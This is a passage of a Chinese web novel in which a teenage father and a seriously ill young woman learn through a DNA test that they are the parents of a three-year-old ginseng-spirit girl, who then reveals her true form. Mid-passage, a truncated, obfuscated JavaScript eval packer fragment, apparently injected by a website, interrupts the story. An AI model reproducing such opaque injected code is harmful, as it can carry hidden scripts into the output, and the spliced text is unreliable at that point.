熹熹当然是不信的,以前的爸爸喜欢收集各地天材地宝送给妈妈,哄妈妈开心,而现在的爸爸是根连花都舍不得送的大木头。 她不得不替爸爸操心。 但裴以砚不知道闺女的脑瓜里藏了那么多弯弯绕绕,他只是坚决的捍卫他的尊严。 他死也不肯把出自他之手的丑蛋糕送其他人手里。 丢人。 父女俩出了门,熹熹小老太太似的揣着小手,时不时向小爸爸投去鄙视与无奈的目光。 “爸爸,你应该像我一样勇敢点,你那么害羞妈妈会被其他人追走的。” 想当年爸爸为了追到妖界第一美人断肠草妈妈,卧薪尝胆,潜心修炼百来年,从一株不起眼的瘦弱小树苗成长为守护一方的大妖树灵,除了靠美貌和强大的实力,厚脸皮同样是重中之重。 熹熹实在担心爸爸不争气,被其他人捷足先登。 寒风中,穿成小企鹅一样的幼崽念念叨叨,幼崽爸爸酷酷的戴上耳机,懒散地牵着崽子到了昨天的咖啡厅。 不大一会儿孟栀摇也到了,三人结伴坐上前往市里的车。 裴以砚为了避嫌自觉坐在副驾驶,熹熹总算找到一个能光明正大和妈妈贴贴的机会。 孟栀摇对熹熹有她自己都说不上来的天然好感,因此很乐于和软糯粉嫩的小团子亲近。 熹熹亲昵地抱住孟栀摇的腰,头埋在她软乎乎的胸口,幸福的差点流出泪来。 知道妈妈身体不好,小丫头没敢把全部重量压过去,挑了个最省力的姿势。 和熹熹贴的越近,孟栀摇心头的熟悉感越强烈,低头的一刹,她终于知道了原因。 ——她闻到了若有似无的中药味。 和昨天她在家里捡到的人参须味儿一模一样,只不过人参须味道更重,熹熹身上的味道更淡。 孟栀摇:“熹熹,你最近在吃药吗?” “没有呀,熹熹很强壮哒,没有生过病呦。” 前排的裴以砚小弧度勾了下唇,小崽子唯一省心的地方。 “那你近期去过药房吗?”孟栀摇说,“我在你身上闻到了中药味。” 最奇怪的是这股味道主要来源貌似是头顶,再确切点,是头发丝。 仿佛每根发丝都放在草药里浸泡过一般均匀的散发着清淡的草药香。 “因为熹熹是人参精呀。”说到这里,熹熹停顿了下,抬头小声,“妈……孟姐姐,熹熹是小妖怪,你会害怕吗?” 小朋友总会冒出天马行空的可爱想法,孟栀摇被她逗笑了。 “你是小妖怪那也是可爱的小妖怪,没什么好害怕的。” 熹熹放心了,咧嘴冲她笑。 透过后视镜瞥见这幕的裴以砚面色古怪,小姑娘的五官公认像他,两眼弯弯的模样却神似孟栀摇。 一分钟之后,他不声不响下单了一本《民法典》。 到了亲子鉴定机构,工作人员看见父女俩熟悉的脸愣了下,再一看旁边的孟栀摇,电光火石之间全懂了。 这是一家三口都来了啊。 孩子她妈可算出现了,年纪看着也是真小啊,肯定还在读书吧。 起初面对陌生人打量的眼光,孟栀摇会不知所措,脚趾抠地,可在看见裴以砚带娃的情景时,她坦然了。 演一场能安抚他病情的戏而已,就当做好人好事了。 孟栀摇说服了自己,采血取样五分钟就做完了,鉴定结果三天内出来。 从鉴定机构出来外面艳阳高照,照得人身上暖烘烘,心情也随之放松。 熹熹走在裴以砚和孟栀摇中间,一边挎一只手,大摇大摆的,小揪揪都摇出快乐的弧度。 从背后看真就像极了幸福的一家三口。 想着以后可能就见不到了,孟栀摇没有主动提出回家,多陪小姑娘一会儿。 还有—— 他。 孟栀摇目光从少年笔直的长腿一点点向上移,经过他的下巴、鼻梁,最后不疾不徐定格在他漆黑如墨的双眼。 她从见过哪个男生的睫毛能那么细长浓密,安在他眼睛上仿佛画了眼线,平添清冷淡漠的气质。 “……” 孟栀摇猛地意识到了什么,仓皇垂眸。 裴以砚停了下来:“附近有家评价很高的菜馆,去吃吗?” “去去去,熹熹要吃!” 没人再接话。 孟栀摇感到两股一冷一热的视线打在她身上,短时间不会抽离,她认命抬头,恰好与少年冷倦的眸子对上。 “你呢?”他问。 孟栀摇默不作声的咬了下舌尖,佯装平静:“我们现在要去吃饭吗?” “嗯,中午了。” “哦……那好。” “是素菜馆。”裴以砚低头打车,声音低沉温淡,“我查过,你可以吃。” 其实荤菜也可以吃,但得适量,而且油盐不能多,综合各种因素考虑,保险起见他选择了素菜馆。 “没错,我作证!” “爸爸昨天挑了好久,超认真的~”欢快的童音插了进来,熹熹邀功似的晃了晃孟栀摇的手指,“孟姐姐,你放心吃叭,有熹熹在身边什么问题都不会有的!” 熹熹作为一只小人参精身上的灵气是任何草植精灵难以比拟的,人类长期与她呆在一块儿会沾染上她的灵气。 而灵气滋养身体,即使是癌症病人站在她身边,痛苦也能减轻很多。 更别说熹熹有意靠近孟栀摇,让她几近枯竭的肉/体汲取灵气,努力焕发生机。 “多嘴。”裴以砚瞪熹熹。 熹熹朝他吐了吐舌头,窜到孟栀摇身旁贴住。 孟栀摇不知该说什么,眼睛是看着熹熹的,手也在摸着她的小脑袋,微微侧头红着脸说了句谢谢。 裴以砚则以一声几不可闻的轻哼回应。 十一点半正是吃饭的时候,门口乌泱泱排着人,熹熹惊呆了。 这样岂不是要排好久的队啊,妈妈会饿肚子的。 刚抱怨两句,裴以砚竟然就带着他们穿花拂柳的走了进去。 “傻愣什么,我订了包厢的。” 熹熹竖起大拇指:“爸爸真棒~” 裴以砚昂首阔步,分明还是那张冰山脸,然而孟栀摇恍惚间看见他骄傲的勾起了嘴角。 他在高兴。 因为被女儿夸了? 孟栀摇被父女俩奇特的相处方式震惊了下,她怎么觉得熹熹在哄裴以砚。 哄的还特别顺嘴熟练,裴以砚也特别受用。 高冷傲娇爸爸x人间小甜豆宝宝? 孟栀摇低眉弯着唇,跟着父女俩落座。 一进包厢父女俩很同步的把菜单递给孟栀摇,弄的她不好意思起来,偏偏她的拒绝无效,只得顶着两道意味迥然的视线点菜。 这家店孟栀摇和父母来吃过几次,味道不错,就是太清淡了些。 她知道哪几道菜味道能排上前五,所以点上来的菜一大一小都吃的很满意。 熹熹坐在俩人中间,想吃什么就指挥她爸爸夹,嘴角沾了东西就噘噘嘴巴,话都不用说一句裴以砚就会帮她擦干净。 父女间如此的默契,令孟栀摇着实惊讶。 她不由自主的暗想,她是不是弄错了,裴以砚会打车会订包厢会照顾小孩儿,能正常交谈,看着不像不太精神病人。 可他昨天说的那些话,又不像正常人会说的。 孟栀摇又陷入了沉思,是哪个环节出问题了呢。 她没注意到,此时裴以砚正在不远处看她,等服务员端上一碗蓝莓奶冻来,他把手机丢给了熹熹。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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憋不住话的小嘴替上线,熹熹恨铁不成刚的瞅裴以砚,稚声稚气教训他:“对女孩子要温柔点,不要凶凶的,妈妈以前怎么教你的你都忘啦。” 裴以砚额头青筋鼓动,转头啧了声,捏住她脸:“我是不是给你太多好脸色了,嗯?没大没小,我是你爸爸。” 被迫变成金鱼嘴的熹熹:“粑粑不识好宝宝心,泥就会欺负窝。” 另一边孟栀摇稍一想就明白怎么一回事了。 原来他还在为昨天选错地方的事耿耿于怀。 她还以为…… 孟栀摇尴尬的不知道该看谁。 裴以砚松开女儿,鼻子不是鼻子,眼睛不是眼睛的冷哼:“回家。” 三人怎么来的又怎么回去,父女俩把孟栀摇送到她家附近,看着她安全进了门才转身。 她家是一整栋红色的小洋楼,样式是七八十年的风格,气派又复古,在这个人均工资三千块的小县城里,绝对算高门大户。 回去的路上熹熹兴致高涨,连比带划地夸有多好看。 快到家了裴以砚才抽空回她一句:“就那么喜欢小洋楼?” “像公主住的房子,哦不对,孟姐姐就是公主,公主就应该住漂亮的房子~” 童言无忌,可裴以砚听着就是不得劲。 “我们家不好看吗?”他扬眉提醒,“家里的书桌、茶几、沙发、窗帘、抱枕、冰箱贴和壁画都是你挑的。” 熹熹:“……” “爸爸,你真幼稚。” 说完,不理会当场石化的爸爸,蹦蹦跳跳跑去骑木马玩。 造孽啊! 日子照常过,但对于裴以砚和孟栀摇来说相当漫长。 第三天亲子鉴定报告出来了。 ——DNA显示孟栀摇和熹熹为生物学上的母女关系。 收到电子报告结果的那刻,孟栀摇脑子嗡了下,好像被从天而降的路人踹进了水沟。 离谱、荒唐、不敢置信。 为什么她没有一点十月怀胎,抛夫弃女的记忆啊!她的记忆被谁删除了?? 这可能吗?她上周才过了十八岁生日啊。 完了,小脑萎缩了。 孟栀摇紧急联系裴以砚,将亲子鉴定报告转发了一份过去。 裴以砚掐着时间等在手机旁,提示铃响起的一刹,他就知道结果了。 果然不出他所料。 和孟栀摇的慌慌张张相比,他淡定的像老僧入定。 【见面聊,老地方。】 【好。】 孟栀摇简单打扮了一下就急急忙忙出了门,当再次在咖啡厅里见到眉眼相似的两张脸,脑子里冒出一个声音:加入他们。 孟栀摇险些栽倒。 “孟姐姐。”一个小身影遥遥招手,小鲤鱼似的跳了起来,“你终于来啦。” “别乱动。”裴以砚大手摁下不安分的崽。 他本来是不想带上熹熹,单独和孟栀摇谈话的,但小丫头太机灵了,他什么都没说,她就猜到他要和孟栀摇见面。 他用零食也哄不住,铁了心要来,不带就练嗓子。 没办法,就带她来了。 好在小丫头知道今天要聊的事不同寻常,除了开头那声,全程乖乖的安静如鸡,不打扰大人谈事。 来之前孟栀摇有着满腹疑问急于解惑,真见到了人,她却不知该从哪里问。 似乎从哪儿问都不太对。 相互沉默了一阵,裴以砚叙话家常般的开口:“我理解你的感受,我也是这么过来的。” “所以我知道你想问什么。” “你想问,你没谈过恋爱,连男孩子手都没牵过,为什么会有了一个女儿。” “并且这个女儿已经三岁了,而你对她的存在一无所知,也从没参与过她的成长。” 孟栀摇:“!” 太对了,她就是这个意思! “我和你一样。”茫然中崩溃。 同是天涯沦落人。 裴以砚回忆起半个多月前他反复确认,然后被鉴定结果连续暴击的场景,仍旧历历在目。 孟栀摇愕然,自动分析起他话里的意思。 所以他也是没恋爱,没交往对象,莫名其妙喜当爹? 世间竟还有这等匪夷所思的事…… 知道喜提幼崽的人不止她一个,孟栀摇的慌张渐渐被冷静取而代之。 见对方情绪稳定了下来,裴以砚不紧不慢从公文包里掏出一个文件夹。 “现在的结果已经白纸黑字的摆了出来,你我就是熹熹的父母,那么我们是不是能开始商量养孩子的事了?” 孟栀摇看着他的动作有些懵。 “这是共同抚养熹熹的协议。” “?” 步骤跳的措不及防。 孟栀摇还没从无痛当妈的惊吓中完全抽离,就已经要和对方商量怎么养孩子,担负起母亲的责任了。 十八岁的少女迷迷瞪瞪揪了下自己,她是不是在做梦。 “这份协议内容有些多,我挑重点的几条告诉你。”为了拟定这份协议,裴以砚挑灯夜战,把未成年人保护法和民法典翻了个遍,只等她签字就可以送去公证。 “熹熹主要跟我生活,我负担她全部的生活费、学费,经济方面不需要你付出,但我希望你可以承担母亲的部分义务,比如陪伴。” 他大她两岁,多承担些是应该的。 类似的话上次也和她说过,她答应了,所以不再额外赘述。 “至少陪伴她到成年,成年后你想不想来,我都不会勉强你。”裴以砚边说边观察孟栀摇的神色,见对方没异常才继续说,“最后是你我之间的关系。” 孟栀摇怔了怔。 他说:“我们情况特殊,不同于普通父母,所以各自嫁娶自由,可有一点我想强调一下。” “我很确定在熹熹成年之前我不会发展任何恋情,我不要求你像我这样,不过如果可以的话,我希望你不要带伴侣来看熹熹。” 他措辞极为客气含蓄,孟栀摇还是不由得脸颊发烫。 她急忙表态:“我不会的。” 他多虑了,她甚至活不到二十岁。 这么一算,她也只能当熹熹两年的妈妈,孟栀摇清软的水眸黯淡了一截,情不自禁望向三岁的小姑娘。 “谢谢,那份协议你抽空看一看,没问题的话签个字,以后我们就按协议走。” 孟栀摇看了裴以砚一眼,摇摇头:“我不同意。” 裴以砚皱眉,正色:“是哪条不满意?” “都不满意。” 裴以砚脸色微变。 孟栀摇不担心他以为她在找茬,她暗自给自己鼓了鼓劲,轻声说:“既然熹熹是我的孩子,那么我有抚养她的义务。” 前后不到五分钟,她就进入了新角色。 “她的衣食住行我愿意承担一半,我也会尽母亲的责任多陪她,参与她的成长,不局限于一周几个小时,我会做到更久。” 乐观些想,也许熹熹就是上天赐给她的礼物,她重病缠身注定无法像正常人那样顺利结婚生子,熹熹的出现让她直接跳过繁琐的步骤,直通人生新角色,无痛当妈也可以算一种幸运吧。 走向和预计偏离,裴以砚眼神变清澈了两分:“好,我拿回去修改。” “这段时间你花了多少钱?我A给你。” 孟栀摇家境富裕,逢年过节收到的红包都攒了起来,卡里有十几万,手头很宽松。 “没算,下个月再开始吧。”裴以砚花钱随意,又没记账的习惯,花出去就懒得算。 【您有一笔待收转账】 【2000】 “我的一点心意,收下吧。” 裴以砚长眉微耸,点点头收下了。 眼见父母该聊的都聊了,熹熹立马不装了,从爸爸身边跳下跑到妈妈身边。 悄咪咪的问:“孟姐姐,熹熹给你的护身符你有好好带着吗?” 孟栀摇顿了顿,语带歉然:“抱歉熹熹,我弄丢了。” 头发丝实在太细了,一不留神就没了,不知道是掉在路上还是家里,找都没法儿找。 “不对,没丢。”自己的须须在哪里熹熹能感应到,“就在你家里呀。” 因为有人参须陪在妈妈身边,妈妈的气色都好了一些,这三天一定睡很香~ 她清凌凌的杏眼弯着:“孟姐姐,熹熹人参须须你一定要带随身带着,不要忘记了,它可是你很重要的伙伴。” “什么人参须?” 孟栀摇听得云里雾里,头发丝和人参须—— ! 等等。 她莫名一个激灵,难道那根莫名其妙出现在她卧室的人参须是熹熹给的? “人参须就是熹熹的头发,因为熹熹是小人参精嘛。” 又来,这丫头对人参精的执念也太深了。 裴以砚在心里哔哔,熹熹却有所察觉似的瞪了他一眼:“笨蛋爸爸,你等着瞧,可不要被熹熹的真身吓尿裤子。” “?” 裴以砚气得肝儿疼。 那头,小团子撅着腚,和孟栀摇说着悄悄话:“妈妈,你跟熹熹回家,熹熹给你表演节目看。” 小丫头神神秘秘,整个崽都在发在光。 孟栀摇原本顾忌着去裴以砚家不好,毕竟他们接触不深,男女有别,应该避嫌的。 但—— 熹熹是她女儿,妈妈去女儿家,和女儿共度亲子时光不是名正言顺,天经地义的事吗? 孟栀摇心安理得的放下包袱,和熹熹回了家。 进门不久,她和裴以砚双双眼前一黑,世界观轰然倒塌,碎的稀烂! 15. 15 偌大的客厅里鸦雀无声,裴以砚和孟栀摇被人下了定身咒似的,表情呆滞的排排坐。 一切还得从刚刚说起—— “爸爸妈妈!” 细嫩的童音令裴以砚虎躯震三震,面皮抖三抖。 地上那根白白胖胖,蹦蹦跶跶,口吐人言的不明生物在叫他爸爸。 表情裂开jpg. 他好端端的女儿怎么变成一根大白萝卜了?? 裴以砚没吭声,看似一副泰山崩于前而色不变的镇定。 实际脑子瓜子嗡嗡直响,眼神空茫,他今天吃云南菌子了? 不知道过了多久,身旁同样呆若木鸡,大受震撼的孟栀摇意识回笼,摸了摸自己的额头。 没发烧。 那是幻觉? 她放在膝盖上的双手握紧了掌心,心情跌入谷底,并发症蔓延到脑部了啊。 俩人疑神疑鬼疑自己,就是没人疑熹熹。 二十厘米长的小人参踩着长须啪嗒上前,从身后大方嗖地伸出一根最粗的须须: “妈妈,是不是身体不舒服了,来,熹熹的须须给你吸~” “!” 孟栀摇呼吸一紧,心脏不自觉缩了缩。 熟悉的刺痛袭来,眼前刚黑了瞬,珍珠奶茶吸管那么粗的人参须就送到了嘴边,调皮的点了点她鼻子。 温热的,软软的,像小孩子的手。 心口痛感消失。 空气重新灌入口鼻,孟栀摇微微喘着气,惊愕不已,伸进口袋找药瓶的手滑了出来。 “妈妈,快吸呀。” 大白萝卜似的小人参脆声催促,见到她不为所动,便亲自示范了一遍:“像这样捏住熹熹的小须须放到鼻子嗅一嗅,就什么病痛都没啦,很舒服的哟。” 白嫩嫩的人参须羞答答摇了个花手:“妈妈,熹熹不臭,很香的!” 这话不掺一点水分。 变回了本体熹熹无法压制身上的气息,纯净的人参香气犹如打破的香水瓶弥漫了整个房子。 有那么一瞬,裴以砚和孟栀摇都以为自己在中药房,再多呆两秒就能腌入味儿。 屋子里要是有猫猫狗狗说不准还能借机开通灵智。 孟栀摇干巴巴道谢:“我没有不舒服的了,谢谢你啊。” “不客气妈妈!” 小人参高兴的翩翩起舞。 孟栀摇做足了心理建设,屏住呼吸小声:“你真的是熹熹?” “当然是我呀。”细长的人参须手舞足蹈,“熹熹是唯一一只下山的人参宝宝,这里没有第二只人参宝宝呦。” 熹熹尾音上扬,带着些许醋意:“妈妈,你想见其他人参宝宝吗?” “没有没有!” 一只人参宝宝已经够她稀罕的了,再来几只还得了。 孟栀摇爷爷是地道的东北人,那边有供奉仙家的习俗,小时候听老人家讲过不少带着奇幻色彩的故事。 有过这段耳濡目染的熏陶,她不算完全坚定的唯物主义者。 此时,她已经明白了眼前的情况——她刚认识的三岁女儿真实身份是人参精宝宝。 多么神奇啊,感叹过后,孟栀摇干脆且平和的接受了这件天方夜谭的事。 她怀着探索未知的好奇小心探出指尖,踌躇片刻,轻柔地捏了捏白净的人参须。 人参须咻咻缠上她指尖,尾巴尖眷恋的蹭蹭她手背。 孟栀摇:啊,好萌! 像极了程小岑家喜欢舔她手指的大金毛拖鞋。 母女俩温馨互动,裴以砚一言不发,倏然长臂一伸,逮住大白萝卜茂密的人参须提起来,上下倒啊倒。 孟栀摇:“???” 防不胜防的腾空,小人参精发出短促的尖叫。 “啊啊啊啊爸爸你干嘛!” 裴以砚置若罔闻,反倒眯着眼凑近,找开关般直起一根手指头到处戳。 扑哧。 手里的小人参精浑身乱颤,左摇右晃的躲:“别挠痒痒!” 裴以砚神色凝重,满头问号,发声系统在哪里?眼睛鼻子嘴巴在哪里? 光不溜秋的萝卜头为什么能和他们有来有回的对话? 太诡异了,太不科学了。 裴以砚一脑门的汗,他的漏风小棉袄会不会变不回来了,难道以后别人问起,他得跟人说这根大白萝卜就是他闺女? 裴以砚像吃了几斤棉花,心堵的要命。 “唔!” “别晃了,熹熹要吐啦。” 两根人参须颤颤巍巍甩出来,啪啪两下,裴以砚手背上顿时多了两道红痕。 裴以砚皱眉,无情铁手松开。 “熹熹。” 孟栀摇从裴以砚手里接过熹熹:“你还好吗?” 熹熹被晃的七荤八素,眼前围了一圈小星星,哼唧出声:“怎么有两个爸爸妈妈啊。” 精神抖擞的人参宝宝惨变蔫儿哒哒的小趴菜。 孟栀摇话音里染上焦急:“有没有想吐的感觉?你还能变回来吗?” 她担心裴以砚没轻没重,把小丫头晃成脑震荡,急着带她去医院检查。 话音刚落,怀里光滑白嫩的人参宝宝嘭一下大变活人。 怀里重量陡然加重,裴以砚下意识扶了一把。 孟栀摇将将稳住身形没向后仰。 变回三岁幼崽的熹熹甩甩头,瞪着黑葡萄大眼,气鼓鼓一指裴以砚: “妈妈,爸爸欺负熹熹!” “你快打他屁股,揪他耳朵!” 孟栀摇:……啊这。 裴以砚懒懒掀了下眼皮,一脸你能奈我何的有恃无恐:“有新靠山就想上天啊,想什么呢。” 熹熹撇撇嘴,扭头哼的超大声:“爸爸得了便宜还卖乖。” ? 裴以砚深感莫名:“我得什么便宜了?” “每次爸爸哄妈妈都高兴的不得了,哄着哄着你们就不理熹熹了,把熹熹晾在外面玩,你们自己跑回房间玩,一玩就是大半天!” 出来的时候俩人红光满面,爸爸嘴巴都快咧到耳后根,妈妈骂爸爸笑得一脸不值钱,爸爸反倒更加乐呵。 一看就知道他们玩的很开心。 想到这里,熹熹小嘴噘的能挂猪肉:“爸爸妈妈,你们以后可以不要背着熹熹偷偷玩游戏吗,带熹熹一起玩嘛。” 小孩儿不知道自己无意间的一句话掀起了多大的惊涛骇浪,也不知道为什么孟栀摇轰的红了脸,恨不得埋进自己胸前。 裴以砚额角突突的跳了跳,耳朵有点粉,咬牙低斥: “玩你个大头鬼,你给我老实呆着。” 一天到晚胡思乱想还是太闲了,看来得给小崽子找个学上! 实话还不能说了,熹熹哀愁叹气,大人好霸道,好不讲理噢。 女儿重新变回人类幼崽的模样,裴以砚心里那股别扭劲儿仍旧没有过去。 他拎小鸡一样把熹熹丢进沙发,自己则大马金刀的坐在她对面,肃着脸审视小孩儿。 他眼神冷肃刚正的宛如地铁判官,无端叫人心里发毛。 熹熹缩了缩脖子,慢吞吞挪到一边,拿小眼神瞟他:“爸爸,你想要熹熹的须须吗?” 她护着小脑袋,犹豫地咬住下唇。 她给孟栀摇人参须是因为当时她们还没相认,不能经常见面,所以拔下一根人参须给她当护身符。 而裴以砚和她朝夕相处,抬头不见低头见的,身上早就沾染上她的灵气,一根人参须哪里比得上人参精宝宝本人的作用大。 所以她才没舍得给裴以砚一根人参须。 “嗤,谁稀罕要。” 裴以砚满不在乎,一个欺身,捏住熹熹软绵绵的脸蛋左右端详。 眉头越皱越紧,都是两只眼睛一张嘴,没哪儿特别的,怎么会是小妖怪。 “你真是白萝卜成精?” 熹熹瞪大眼眸,气恼的拍掉他手:“熹熹是会治病的人参宝宝,不是大萝卜!” 都说多少次啦。 小家伙胸膛一起一伏:“爸爸你真是朽木不可雕,眼神比大刘叔叔还差劲呢。” 要不是看在他是嫡亲爸爸的份儿上,熹熹指定把他开除爸籍。 裴以砚:“你是小妖怪,我是人,你为什么会是我女儿?”< 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从熹熹东一榔头,西一棒槌的零碎讲述,俩人拼凑出了一个粗糙狗血的玄幻故事,而故事的主角正是他们一家三口。 很久很久以前,守护百草山的山神无故出走,由此引发一大波骚乱。 彼时山里妖力最强,性格最温和的树妖未避免出现更多伤亡,出手镇压挑事者,以一己之力维护山中和平。 树妖的能力与品行得到山林各路生灵的认可,顺理成章被推举为新一任守护者,自此,曾经的千年树妖成长为守护一方的树灵。 在漫长的时间里,树灵遇到了挚爱断肠草,在山林的见证下结为夫妻。 因为跨物种无法孕育后代,他们一起挑中了一株新鲜水灵的小人参抚养。 夫妻俩为小人参开灵智,喂露水,滋养灵魂,这便是熹熹的身世由来。 一家三口在百草山幸福融洽的过了三百多年,谁料天有不测风云,山林不知因何缘由起了一场大火。 那不是普通凡火,而是可烧尽世间万物乃至灵魂的灵火。 不过半天时间原本钟灵毓秀,灵植遍布的百草山,一片大绿色沃土烧成黑色废墟,鸟兽死伤无数,哀鸿遍野。 为了拯救遭遇灭顶之灾的昔日伙伴,树灵燃烧本源之力换来一场能够浇灭灵火的大雨。 灵火熄灭的同时,他的本源之力也彻底枯竭,迎来身死道消的结局。 而伴侣断肠草拼尽全力保留下树灵的一缕残魂,在办完他的身后之事后,毅然决然追随树灵而去。 各自两缕残魂纷纷投入人间,经历三世轮回后便会再次归位。 熹熹则由幸存的小妖们看护着修炼,化形。 “讲完了?” “嗯嗯!讲完啦。” 熹熹两只小胖脚搭在裴以砚肩上,亮晶晶的看着俩人:“爸爸妈妈,你们是不是有很多话想和熹熹说?” 孟栀摇和裴以砚轻轻对望一眼。 孟栀摇拂了拂耳边碎发,矜持的笑了下:“我有个小问题,可以问吗?” “妈妈,你放心大胆的问,没关系哒。” 孟栀摇忸怩的抠抠手。 她曾在故事会里看过关于人参宝宝的篇章,里面描绘的人参宝宝总是光着屁股和小脚,眉心一个小红点,穿着红肚兜满山跑。 她没见过熹熹第一天下山的样子,所以非常好奇她是不是穿着小红肚兜下来的。 “光屁股羞羞脸,屁屁还会被咬,可疼了,熹熹不穿红兜兜!” 孟栀摇忍不住稀奇,小妖怪也会怕被蚊虫咬啊。 熹熹歪下脑袋:“爸爸你呢,有什么想问的吗?” 裴以砚:“下来。” 他脖子都快被这小丫头压断了。 事情的发展从那份DNA鉴定报告开始就如同脱缰的野马,往脱离科学的道路上狂奔,他急需放空大脑。 裴以砚抹了把脸,无声叹气。 人参精算国家保护动物吗? 这下好了,不仅喜当爸,还可能喜提牢饭。 16. 16 有一说一,熹熹不太满意爸爸妈妈的反应,没有期待中的惊慌失色,也没有把爸爸吓出猪叫。 对熹熹而言这是失败的节目表演,她盘腿坐在沙发里,双手托腮一脸忧郁。 裴以砚看着她:“想不想吃肯德基?” “想想想!” “我给你点,你能自己乖乖待会儿?” 有了肯德基的小人参精就是全世界最好说话的宝宝,她邦邦拍胸脯:“小妖怪办事你放心,童叟无欺。” 裴以砚好笑的白她一眼,点了份肯德基全家桶,半小时后外卖送了上来,他把外卖摆好,招呼熹熹来吃。 不着痕迹向孟栀摇递了个眼色,孟栀摇心领神会起身,随他进了一旁的卧室。 一抬头卧室的装修尽收眼底,如同儿童房充满了多巴胺色彩,跟裴以砚那冷淡疏离的气质格格不入。 裴以砚抓紧时间开门见山:“熹熹是小妖怪的事,你怎么看?” “我没什么想法。”孟栀摇正色,“不管她是小妖怪还是人类,我只拿她当普通小孩子看待,她的身份需要我们保密。” “所以,你不赞成上报相关部门?” “当然不赞成。”孟栀摇大幅度摇头,“作为熹熹的妈妈,我不能让她面对未知的险境。” 裴以砚安静的注视她。 他对孟栀摇的了解不深,自然没有什么信任可言,如果刚才的试探中对方表现出一点犹豫或纠结,他会立马退学,切断一切联系,带着熹熹搬离萍水市。 好在她和他的立场相同,省去了麻烦。 “既然如此,那今天起我们就是一条船上的人。” 孟栀摇呼吸一顿,缓慢的眨了下眼睛:“那我们是不是可以算朋友了?” 裴以砚愣了下,诧异于她会问这个问题。 他朋友就零星几个,一只手都数得过来,而他从不主动和女孩子打交道,异性朋友为零。 但孟栀摇不一样,她是熹熹的妈妈,以后要打交道的地方多着。 “算。” “以后有事联系我。” 日光从阳台倾洒进卧室,孟栀摇眉眼间染上点点碎光,宛如开了朵嫩黄色的绒花。 她极轻的嗯了声。 裴以砚盯看她几秒,语气温淡,始终维持不远不近的距离:“熹熹的身份由我们共同保密,除了我们三个外,不要让第四个人知道。” 孟栀摇点点头,没有异议。 她本就话少,和裴以砚独处更加紧张的说不出话来,能稳住不结巴,已经是她强自镇定的结果了。 裴以砚微微沉吟,肃声说:“熹熹后面那些话,你别往心里去,小孩子童言无忌。” “我知道。”孟栀摇乱撞的心跳慢了下来,顺着他的话表示,“我不会当真的。” 俩人从卧室出来,熹熹正啃着一个大鸡腿,黑黝黝的眼珠滴溜溜转。 “妈妈快来,熹熹给你留了一个香喷喷的鸡腿!” 孟栀摇走过来,蹲下身抽出纸巾,擦擦小姑娘嘴角的油。 “你吃吧。”她温声说,“时间不早了,我得先回家了。” 熹熹放下了鸡腿:“啊,这么快?现在还很早呀。” 孟栀摇歉疚的咬着唇,她刚才收到了宋凌好几条催她回家的消息,她怕不赶回去,宋凌会直接出来找人。 “熹熹,等我下次有空了来看你,你在家里乖乖的。” 熹熹张着小嘴欲言又止,手边的鸡腿都不香了。 小孩儿的失落与不舍溢于言表,孟栀摇一下就心软了,她揉揉熹熹头发: “想我了可以给我打电话,你爸爸有我的联系方式。” 熹熹鼓鼓腮帮子:“那……好吧。” 她跳下椅子,殷勤的走在最前头:“妈妈,熹熹送你。” 裴以砚打开大门,不紧不慢缀在母女俩身后,目送孟栀摇进电梯。 一条小尾巴鬼鬼祟祟紧随其后。 裴以砚眉峰一挑,长臂一抓,手里多了个小丫头:“哪儿去?” “我送妈妈回家呀。”熹熹眨巴眨巴眼,被抓包了也不虚,“怎么啦,不行啊?” “我看你是想去妈妈家住吧。”裴以砚冷笑着戳破她的小算盘,小没良心的,有了妈就忘了爸。 熹熹像一只腾空的小乌龟手脚凌乱扑腾:“我、我才没有呢!” 裴以砚稍一低头就能看见她五官乱飞的心虚模样。 “不准去。”冷酷爸爸丝毫不讲情面的掐灭她的小心思,“跟我回家。” 熹熹老大不高兴:“为什么啊?” 女孩儿的名声总归比男生重要,单身爸爸受到非议终究比单身妈妈少,这早已是大众约定俗成的事,他和孟栀摇彼此心照不宣。 裴以砚既然将孟栀摇视为朋友,理所当然的不愿意让朋友陷入非议中。 ——最根本的原因,他怕熹熹太黏人把孟栀摇吓跑。 他又不会哄人。 孟栀摇虽然接受了熹熹,但她对如何当妈妈仍然是一片迷茫。 大概是少了那些繁琐传统的步骤,她对熹熹的感觉微妙又复杂,有怜惜和喜欢,但远远达不到母亲对孩子无条件的爱。 面对熹熹想和她回家的期待,她第一反应是为难和退却。 好在裴以砚理解她,并且揽下了责任。 他倨傲的轻扬下颚:“前两天的蛋糕还没吃完,你吵着要吃的,不吃完哪儿也别想去。” 熹熹打了个冷颤。 嘴巴似乎又尝到那古怪的味道,还有一大半没吃完呢,她瞄了眼严肃的爸爸,扁扁嘴,哭丧着脸妥协了。 以后……以后再也不吃爸爸做的蛋糕啦,呜呜呜。 孟栀摇得以脱身,朝裴以砚露出感激的微笑,而后挥手和父女告别。 妈妈离开之后,熹熹看裴以砚就鼻子不是鼻子,眼睛不是眼睛。 撅着圆圆的腚,踩在小凳子上打开冰箱,用手去够剩余的草莓蛋糕。 裴以砚迈着悄无声息的步子,声音从她头顶落下:“别吃了。” 蛋糕放了两天早就不能吃了,他是为了阻止熹熹和孟栀摇回家,才临时扯的理由。 熹熹抬起小脸,不领情的一甩头:“我不听我不听。” 妈妈说的对,爸爸是臭男人! 说完呲溜滑下去,噔噔噔跑去骑木马,两只小胖手揪住木马耳朵,气哼哼的朝他翻白眼。 “……” 小不点气性真大。 “不让你去就那么生气?”裴以砚端着水杯靠在窗边,闲闲的问,“忘记谁捡你回来的了?” “那怎么可能忘。”木马上的小丫头先指指自己,又指着他,“熹熹捡爸爸回来哒。” “我看你是倒反天罡。” 裴以砚一天能被漏风小棉袄气八百次,得亏他身强体壮才没气出毛病。 他挤进爸爸大军里不久,关于如何抚养孩子,教育孩子还处在盲人摸象中。 即使过去的成长经历让他比同龄人成熟理智,但二十岁的他在大多数人眼里也还是孩子。 所以面对闹小脾气的女儿,他偷懒的选择了最直接省事的方式—— 摆事实,讲道理。 “熹熹,我知道,我和你妈妈在咖啡厅里的谈话你都听了进去,所以你没有在外面直接喊她妈妈。” 